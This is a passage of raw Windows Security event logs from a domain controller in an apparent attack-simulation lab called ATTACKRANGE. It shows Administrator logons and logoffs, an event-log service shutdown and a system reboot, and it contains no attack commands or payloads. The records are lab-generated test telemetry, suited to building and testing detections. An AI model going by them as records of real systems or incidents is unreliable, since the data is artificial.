auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=248052 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:43:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=248051 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1FE3C3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:43:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248050 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1FE3C3 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:43:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=248049 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1FE3C3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:43:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=248048 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:43:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=248047 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:43:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=248046 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1FD235 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:43:52 PM -LogName=Security -SourceName=Microsoft-Windows-Eventlog -EventCode=1100 -EventType=4 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Service shutdown -OpCode=Info -RecordNumber=248069 -Keywords=Audit Success -Message=The event logging service has shut down. -03/11/2021 11:44:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248074 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x27c - New Process Name: C:\Windows\System32\csrss.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x274 - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:44:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248073 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x274 - New Process Name: C:\Windows\System32\smss.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1bc - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:44:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248072 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x244 - New Process Name: C:\Windows\System32\autochk.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1bc - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:44:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248071 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1bc - New Process Name: C:\Windows\System32\smss.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x4 - Creator Process Name: - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:44:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4826 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Other Policy Change Events -OpCode=Info -RecordNumber=248070 -Keywords=Audit Success -Message=Boot Configuration Data loaded. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -General Settings: - Load Options: - - Advanced Options: No - Configuration Access Policy: Default - System Event Logging: No - Kernel Debugging: No - VSM Launch Type: Off - -Signature Settings: - Test Signing: No - Flight Signing: No - Disable Integrity Checks: No - -HyperVisor Settings: - HyperVisor Load Options: - - HyperVisor Launch Type: Off - HyperVisor Debugging: No -03/11/2021 11:44:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248078 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x320 - New Process Name: C:\Windows\System32\winlogon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x2c4 - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:44:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248077 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2d4 - New Process Name: C:\Windows\System32\csrss.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x2c4 - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:44:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248076 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2cc - New Process Name: C:\Windows\System32\wininit.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x274 - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:44:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248075 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2c4 - New Process Name: C:\Windows\System32\smss.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1bc - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:44:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4902 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=248083 -Keywords=Audit Success -Message=The Per-user audit policy table was created. - -Number of Elements: 0 -Policy ID: 0x5778 -03/11/2021 11:44:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248082 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 0 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: - - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x4 - Process Name: - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: - - Authentication Package: - - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:44:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4608 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security State Change -OpCode=Info -RecordNumber=248081 -Keywords=Audit Success -Message=Windows is starting up. - -This event is logged when LSASS.EXE starts and the auditing subsystem is initialized. -03/11/2021 11:44:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248080 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x370 - New Process Name: C:\Windows\System32\lsass.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x2cc - Creator Process Name: C:\Windows\System32\wininit.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:44:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248079 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x35c - New Process Name: C:\Windows\System32\services.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x2cc - Creator Process Name: C:\Windows\System32\wininit.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248189 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Process Information: - New Process ID: 0x3f8 - New Process Name: C:\Windows\System32\svchost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\system32\svchost.exe -k RPCSS - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248188 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: NETWORK SERVICE - Account Domain: NT AUTHORITY - Logon ID: 0x3E4 - -Privileges: SeAssignPrimaryTokenPrivilege - SeAuditPrivilege - SeImpersonatePrivilege -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248187 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: NETWORK SERVICE - Account Domain: NT AUTHORITY - Logon ID: 0x3E4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x35c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248186 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1e0 - New Process Name: C:\Windows\System32\svchost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\system32\svchost.exe -k DcomLaunch - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248185 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248184 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x35c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4755 -EventType=0 -Type=Information 